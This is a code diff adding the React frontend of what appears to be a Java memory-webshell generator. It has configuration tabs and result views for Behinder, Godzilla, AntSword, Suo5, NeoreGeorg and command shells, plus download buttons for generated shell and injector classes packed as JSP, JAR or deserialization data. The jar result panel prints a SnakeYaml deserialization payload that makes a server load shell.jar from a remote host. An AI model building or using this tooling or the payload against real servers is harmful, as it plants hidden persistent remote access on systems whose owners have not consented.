+              value={generateResult?.injectorConfig.urlPattern}
+            />
+          )}
+        </div>
+        {generateResult?.shellConfig.shellTool !== ShellToolType.Custom && (
+          <Separator className="my-1" />
+        )}
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          {generateResult?.shellConfig.shellTool === ShellToolType.Behinder && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.behinderScriptType")}
+                text="jsp"
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinderEncryptType")}
+                text={t("shellToolConfig.behinderDefaultEncryptType")}
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinder.pass")}
+                text={
+                  (generateResult?.shellToolConfig as BehinderShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as BehinderShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinder.header")}
+                text={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Godzilla && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.godzilla.pass")}
+                text={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.key")}
+                text={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .key
+                }
+                value={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .key
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.encryptor")}
+                text="JAVA_AES_BASE64"
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.header")}
+                text={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Command && (
+            <CopyableField
+              label={t("common:paramName")}
+              text={
+                (generateResult?.shellToolConfig as CommandShellToolConfig)
+                  .paramName
+              }
+              value={
+                (generateResult?.shellToolConfig as CommandShellToolConfig)
+                  .paramName
+              }
+            />
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Suo5 && (
+            <CopyableField
+              label={t("shellToolConfig.suo5Header")}
+              text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+              value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+            />
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.AntSword && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.antSword.pass")}
+                text={
+                  (generateResult?.shellToolConfig as AntSwordShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as AntSwordShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.httpHeader")}
+                text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool ===
+            ShellToolType.NeoreGeorg && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.neoreGeorgKey")}
+                text="key"
+                value="key"
+              />
+              <CopyableField
+                label={t("shellToolConfig.neoreGeorgHeader")}
+                text={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+        </div>
+        <Separator className="my-1" />
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          <CopyableField
+            label={t("mainConfig.injectorClassName")}
+            value={generateResult?.injectorClassName}
+            text={`${generateResult?.injectorClassName} (${generateResult?.injectorSize} bytes)`}
+          />
+          <CopyableField
+            label={t("mainConfig.shellClassName")}
+            value={generateResult?.shellClassName}
+            text={`${generateResult?.shellClassName} (${generateResult?.shellSize} bytes)`}
+          />
+        </div>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/feedback-alert.tsx

@@ -0,0 +1,50 @@
+import { CircleHelpIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+  AlertDialogTrigger,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+
+export function FeedbackAlert() {
+  const { t } = useTranslation("memshell");
+  return (
+    <AlertDialog>
+      <AlertDialogTrigger asChild>
+        <Button variant="outline" type="button">
+          <CircleHelpIcon /> {t("shellNotWork.title")}
+        </Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>{t("shellNotWork.title")}</AlertDialogTitle>
+          <AlertDialogDescription>
+            <ol>
+              <li>{t("shellNotWork.step1")}</li>
+              <li>{t("shellNotWork.step2")}</li>
+            </ol>
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>{t("common:cancel")}</AlertDialogCancel>
+          <AlertDialogAction
+            onClick={() =>
+              window.open(
+                "https://github.com/ReaJason/MemShellParty/issues/new?template=%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90-bug-%E4%B8%8A%E6%8A%A5.md",
+              )
+            }
+          >
+            {t("common:feedback")}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}

web/app/components/memshell/results/jar-result.tsx

@@ -0,0 +1,79 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { downloadBytes, formatBytes } from "@/lib/utils";
+import type { MemShellResult } from "@/types/memshell";
+
+export function JarResult({
+  packMethod,
+  packResult,
+  generateResult,
+}: Readonly<{
+  packMethod: string;
+  packResult: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation();
+  const isPureJar = packMethod === "Jar";
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:usage")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li className="flex items-center justify-between">
+            <span>
+              {t("common:download")} shell.jar (
+              {formatBytes(atob(packResult).length)})
+            </span>
+            <Button
+              size="sm"
+              variant="outline"
+              className="w-28"
+              type="button"
+              onClick={() =>
+                downloadBytes(
+                  packResult,
+                  undefined,
+                  `${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
+                )
+              }
+            >
+              {t("common:download")}
+            </Button>
+          </li>
+          <Separator />
+          {isPureJar ? (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.trigger-injector-class-loading")}</li>
+            </>
+          ) : (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
+              <CodeViewer
+                code={`!!javax.script.ScriptEngineManager [
+  !!java.net.URLClassLoader [[
+    !!java.net.URL ["http://yourhost/shell.jar"]
+  ]]
+]`}
+                language="java"
+                showLineNumbers={false}
+                wrapLongLines={true}
+                header={<div className="text-xs">SnakeYaml Payload</div>}
+              />
+            </>
+          )}
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/multi-packer.tsx

@@ -0,0 +1,128 @@
+import { DownloadIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import { Button } from "@/components/ui/button";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils";
+
+export function MultiPackResult({
+  allPackResults,
+  packMethod,
+  shellClassName,
+  height = 350,
+}: Readonly<{
+  allPackResults: object | undefined;
+  packMethod: string;
+  shellClassName?: string;
+  height?: number;
+}>) {
+  const showCode = packMethod === "JSP";
+  const { t } = useTranslation();
+  const packMethods = Object.keys(allPackResults ?? {});
+
+  const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
+  const [packResult, setPackResult] = useState(
+    allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "",
+  );
+
+  useEffect(() => {
+    const newPackMethods = Object.keys(allPackResults ?? {});
+    if (!newPackMethods.includes(selectedMethod)) {
+      const newSelectedMethod = newPackMethods[0];
+      setSelectedMethod(newSelectedMethod);
+      setPackResult(
+        allPackResults?.[newSelectedMethod as keyof typeof allPackResults] ??
+          "",
+      );
+    } else {
+      setPackResult(
+        allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "",
+      );
+    }
+  }, [allPackResults, selectedMethod]);
+
+  const handleDownload = () => {
+    const fileName =
+      shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
+    if (packMethod === "JSP") {
+      const fileExtension = selectedMethod.includes("JSPX") ? ".jspx" : ".jsp";
+      const content = new Blob([packResult], { type: "text/plain" });
+      return downloadContent(content, fileName, fileExtension);
+    } else if (
+      packMethod === "JavaDeserialize" ||
+      packMethod.includes("Hessian")
+    ) {
+      const content = new Blob([base64ToBytes(packResult)], {
+        type: "application/octet-stream",
+      });
+      return downloadContent(content, fileName, ".data");
+    } else if (packMethod === "Base64") {
+      const base64Content =
+        allPackResults?.[
+          Object.keys(allPackResults)[0] as keyof typeof allPackResults
+        ] ?? "";
+      return downloadBytes(base64Content, shellClassName);
+    }
+  };
+
+  return (
+    <CodeViewer
+      code={packResult ?? ""}
+      header={
+        <div className="flex items-center justify-between text-xs gap-2">
+          <Select
+            onValueChange={(value) => {
+              setSelectedMethod(value);
+              setPackResult(
+                allPackResults?.[value as keyof typeof allPackResults] ?? "",
+              );
+            }}
+            value={selectedMethod}
+          >
+            <SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
+              <span className="text-muted-foreground">
+                {t("common:packerMethod")}:&nbsp;
+              </span>
+              <SelectValue />
+            </SelectTrigger>
+            <SelectContent>
+              {packMethods.map((method) => (
+                <SelectItem key={method} value={method} className="text-xs">
+                  {method}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+          <span className="text-muted-foreground">({packResult?.length})</span>
+        </div>
+      }
+      button={
+        packMethod === "JSP" ||
+        packMethod === "Base64" ||
+        packMethod === "JavaDeserialize" ||
+        packMethod.includes("Hessian") ? (
+          <Button
+            variant="ghost"
+            size="icon"
+            type="button"
+            className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+            onClick={handleDownload}
+          >
+            <DownloadIcon className="h-4 w-4" />
+          </Button>
+        ) : null
+      }
+      wrapLongLines={!showCode}
+      showLineNumbers={showCode}
+      language={showCode ? "java" : "text"}
+      height={height}
+    />
+  );
+}

web/app/components/memshell/results/result-component.tsx

@@ -0,0 +1,68 @@
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import type { MemShellResult } from "@/types/memshell";
+import { AgentResult } from "./agent";
+import { JarResult } from "./jar-result";
+import { MultiPackResult } from "./multi-packer";
+
+export function ResultComponent({
+  packResult,
+  allPackResults,
+  packMethod,
+  generateResult,
+}: Readonly<{
+  packResult: string | undefined;
+  allPackResults: Map<string, string> | undefined;
+  packMethod: string;
+  generateResult?: MemShellResult;
+}>) {
+  const showCode = packMethod === "JSP";
+  const isAgent = packMethod.startsWith("Agent");
+  const isJar = packMethod.endsWith("Jar");
+  const { t } = useTranslation();
+  if (allPackResults) {
+    return (
+      <MultiPackResult
+        allPackResults={allPackResults}
+        packMethod={packMethod}
+        shellClassName={generateResult?.injectorClassName}
+      />
+    );
+  }
+  if (isAgent) {
+    return (
+      <AgentResult
+        packMethod={packMethod}
+        packResult={packResult ?? ""}
+        generateResult={generateResult}
+      />
+    );
+  }
+  if (isJar) {
+    return (
+      <JarResult
+        packMethod={packMethod}
+        packResult={packResult ?? ""}
+        generateResult={generateResult}
+      />
+    );
+  }
+
+  return (
+    <CodeViewer
+      code={packResult ?? ""}
+      header={
+        <div className="flex items-center justify-between text-xs gap-2">
+          <span>
+            {t("common:packerMethod")}：{packMethod}
+          </span>
+          <span className="text-muted-foreground">({packResult?.length})</span>
+        </div>
+      }
+      wrapLongLines={!showCode}
+      showLineNumbers={showCode}
+      language={showCode ? "java" : "text"}
+      height={350}
+    />
+  );
+}

web/app/components/memshell/shell-result.tsx

@@ -0,0 +1,117 @@
+import { DownloadIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+
+import { QuickUsage } from "@/components/memshell/quick-usage";
+import { Button } from "@/components/ui/button";
+import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { downloadBytes } from "@/lib/utils.ts";
+import type { MemShellResult } from "@/types/memshell";
+import CodeViewer from "../code-viewer";
+import { BasicInfo } from "./results/basic-info";
+import { ResultComponent } from "./results/result-component";
+
+export default function ShellResult({
+  packResult,
+  allPackResults,
+  packMethod,
+  generateResult,
+}: Readonly<{
+  packResult: string | undefined;
+  allPackResults: Map<string, string> | undefined;
+  packMethod: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation(["common", "memshell"]);
+  if (!generateResult) {
+    return <QuickUsage />;
+  }
+  return (
+    <Tabs defaultValue="packResult">
+      <TabsList className="grid w-full grid-cols-3">
+        <TabsTrigger value="packResult">
+          {t("common:generateResult")}
+        </TabsTrigger>
+        <TabsTrigger value="shell">{t("memshell:shellClass")}</TabsTrigger>
+        <TabsTrigger value="injector">
+          {t("memshell:injectorClass")}
+        </TabsTrigger>
+      </TabsList>
+      <TabsContent value="packResult" className="my-2 space-y-4">
+        <BasicInfo generateResult={generateResult} />
+        <ResultComponent
+          packResult={packResult}
+          allPackResults={allPackResults}
+          packMethod={packMethod}
+          generateResult={generateResult}
+        />
+      </TabsContent>
+      <TabsContent value="shell" className="mt-4">
+        <CodeViewer
+          showLineNumbers={false}
+          header={
+            <div className="text-xs truncate">
+              {generateResult?.shellClassName}
+            </div>
+          }
+          button={
+            <Button
+              variant="ghost"
+              size="icon"
+              type="button"
+              className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+              onClick={() => {
+                if (!generateResult?.shellBytesBase64Str) {
+                  toast.warning(t("memshell:tips.shellBytesEmpty"));
+                  return;
+                }
+                downloadBytes(
+                  generateResult?.shellBytesBase64Str,
+                  generateResult?.shellClassName,
+                );
+              }}
+            >
+              <DownloadIcon className="h-4 w-4" />
+            </Button>
+          }
+          wrapLongLines={true}
+          height={600}
+          code={generateResult?.shellBytesBase64Str ?? ""}
+          language="text"
+        />
+      </TabsContent>
+      <TabsContent value="injector" className="mt-4">
+        <CodeViewer
+          showLineNumbers={false}
+          wrapLongLines={true}
+          header={
+            <div className="text-xs">{generateResult?.injectorClassName}</div>
+          }
+          button={
+            <Button
+              variant="ghost"
+              size="icon"
+              type="button"
+              className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+              onClick={() => {
+                if (!generateResult?.injectorBytesBase64Str) {
+                  toast.warning(t("memshell:tips.shellBytesEmpty"));
+                  return;
+                }
+                downloadBytes(
+                  generateResult?.injectorBytesBase64Str,
+                  generateResult?.injectorClassName,
+                );
+              }}
+            >
+              <DownloadIcon className="h-4 w-4" />
+            </Button>
+          }
+          height={600}
+          code={generateResult?.injectorBytesBase64Str ?? ""}
+          language="text"
+        />
+      </TabsContent>
+    </Tabs>
+  );
+}

web/app/components/memshell/tabs/antsword-tab.tsx

@@ -0,0 +1,87 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function AntSwordTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="AntSword">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="antSwordPass"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>
+                    {t("shellToolConfig.antSword.pass")} {t("common:optional")}
+                  </FormFieldLabel>
+                  <Input
+                    {...field}
+                    placeholder={t("common:placeholders.input")}
+                  />
+                </FormFieldItem>
+              )}
+            />
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <FormControl>
+                      <Input
+                        {...field}
+                        placeholder={t("common:placeholders.input")}
+                      />
+                    </FormControl>
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/behinder-tab.tsx

@@ -0,0 +1,80 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function BehinderTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Behinder">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="behinderPass"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>
+                    {t("shellToolConfig.behinder.pass")} {t("common:optional")}
+                  </FormFieldLabel>
+                  <Input
+                    {...field}
+                    placeholder={t("common:placeholders.input")}
+                  />
+                </FormFieldItem>
+              )}
+            />
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/classname-field.tsx

@@ -0,0 +1,115 @@
+import { Shuffle } from "lucide-react";
+import { Fragment, useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+export function OptionalClassFormField({
+  form,
+}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  const initialShellClassName = form.getValues("shellClassName") ?? "";
+  const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
+  const [useRandomClassName, setUseRandomClassName] = useState(
+    () => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
+  );
+  const [savedShellClassName, setSavedShellClassName] = useState(
+    initialShellClassName,
+  );
+  const [savedInjectorClassName, setSavedInjectorClassName] = useState(
+    initialInjectorClassName,
+  );
+  const shellClassName = form.watch("shellClassName");
+  const injectorClassName = form.watch("injectorClassName");
+
+  useEffect(() => {
+    if (!useRandomClassName) {
+      setSavedShellClassName(shellClassName ?? "");
+    }
+  }, [shellClassName, useRandomClassName]);
+
+  useEffect(() => {
+    if (!useRandomClassName) {
+      setSavedInjectorClassName(injectorClassName ?? "");
+    }
+  }, [injectorClassName, useRandomClassName]);
+
+  useEffect(() => {
+    if (
+      useRandomClassName &&
+      (shellClassName?.trim() || injectorClassName?.trim())
+    ) {
+      setUseRandomClassName(false);
+    }
+  }, [injectorClassName, shellClassName, useRandomClassName]);
+
+  const handleToggleRandomClass = (checked: boolean) => {
+    setUseRandomClassName(checked);
+    if (checked) {
+      setSavedShellClassName(form.getValues("shellClassName") ?? "");
+      setSavedInjectorClassName(form.getValues("injectorClassName") ?? "");
+      form.setValue("shellClassName", "");
+      form.setValue("injectorClassName", "");
+    } else {
+      form.setValue("shellClassName", savedShellClassName ?? "");
+      form.setValue("injectorClassName", savedInjectorClassName ?? "");
+    }
+  };
+
+  return (
+    <Fragment>
+      <div className="pt-2 flex items-center justify-between gap-3">
+        <div className="flex items-center gap-2 text-sm">
+          <Shuffle className="h-4 w-4" />
+          <span>{t("mainConfig.randomClassName")}</span>
+        </div>
+        <Switch
+          id="randomClassName"
+          checked={useRandomClassName}
+          onCheckedChange={handleToggleRandomClass}
+        />
+      </div>
+      <FormProvider {...form}>
+        {!useRandomClassName && (
+          <FormField
+            control={form.control}
+            name="shellClassName"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel htmlFor="shellClassName">
+                  {t("mainConfig.shellClassName")} {t("common:optional")}
+                </FormFieldLabel>
+                <Input
+                  id="shellClassName"
+                  {...field}
+                  placeholder={t("common:placeholders.input")}
+                />
+              </FormFieldItem>
+            )}
+          />
+        )}
+        {!useRandomClassName && (
+          <FormField
+            control={form.control}
+            name="injectorClassName"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel htmlFor="injectClassName">
+                  {t("mainConfig.injectorClassName")} {t("common:optional")}
+                </FormFieldLabel>
+                <Input
+                  id="injectClassName"
+                  {...field}
+                  placeholder={t("common:placeholders.input")}
+                />
+              </FormFieldItem>
+            )}
+          />
+        )}
+      </FormProvider>
+    </Fragment>
+  );
+}

web/app/components/memshell/tabs/command-tab.tsx

@@ -0,0 +1,139 @@
+import { useQuery } from "@tanstack/react-query";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { TabsContent } from "@/components/ui/tabs";
+import { env } from "@/config";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function CommandTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  const { data } = useQuery<{
+    encryptors: Array<string>;
+    implementationClasses: Array<string>;
+  }>({
+    queryKey: ["commandConfigs"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/config/command/configs`);
+      return await response.json();
+    },
+  });
+
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Command">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="commandParamName"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>
+                    {t("common:paramName")} {t("common:optional")}
+                  </FormFieldLabel>
+                  <FormControl>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormControl>
+                </FormFieldItem>
+              )}
+            />
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="encryptor"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:encryptor")}</FormFieldLabel>
+                    <Select
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      defaultValue="RAW"
+                    >
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue
+                            placeholder={t("common:placeholders.select")}
+                          />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {data?.encryptors?.map((v) => (
+                          <SelectItem key={v} value={v}>
+                            {v}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="implementationClass"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:implementationClass")}
+                    </FormFieldLabel>
+                    <Select
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      defaultValue="RuntimeExec"
+                    >
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue
+                            placeholder={t("common:placeholders.select")}
+                          />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {data?.implementationClasses?.map((v) => (
+                          <SelectItem key={v} value={v}>
+                            {v}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/custom-tab.tsx

@@ -0,0 +1,163 @@
+import { useEffect, useRef, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+import { Card, CardContent } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { Label } from "@/components/ui/label";
+import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
+import { TabsContent } from "@/components/ui/tabs";
+import { Textarea } from "@/components/ui/textarea";
+import { env } from "@/config.ts";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export default function CustomTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const [isFile, setIsFile] = useState(false);
+  const { t } = useTranslation(["memshell", "common"]);
+  const shellClassBase64 = form.watch("shellClassBase64");
+  const lastParsedBase64Ref = useRef<string | undefined>(undefined);
+  const classNameEndpoint = `${env.API_URL}/api/className`;
+
+  useEffect(() => {
+    if (!shellClassBase64) {
+      lastParsedBase64Ref.current = undefined as string | undefined;
+      return;
+    }
+
+    if (shellClassBase64 === lastParsedBase64Ref.current) {
+      return;
+    }
+
+    const controller = new AbortController();
+    const timer = setTimeout(() => {
+      const parseClassName = async () => {
+        try {
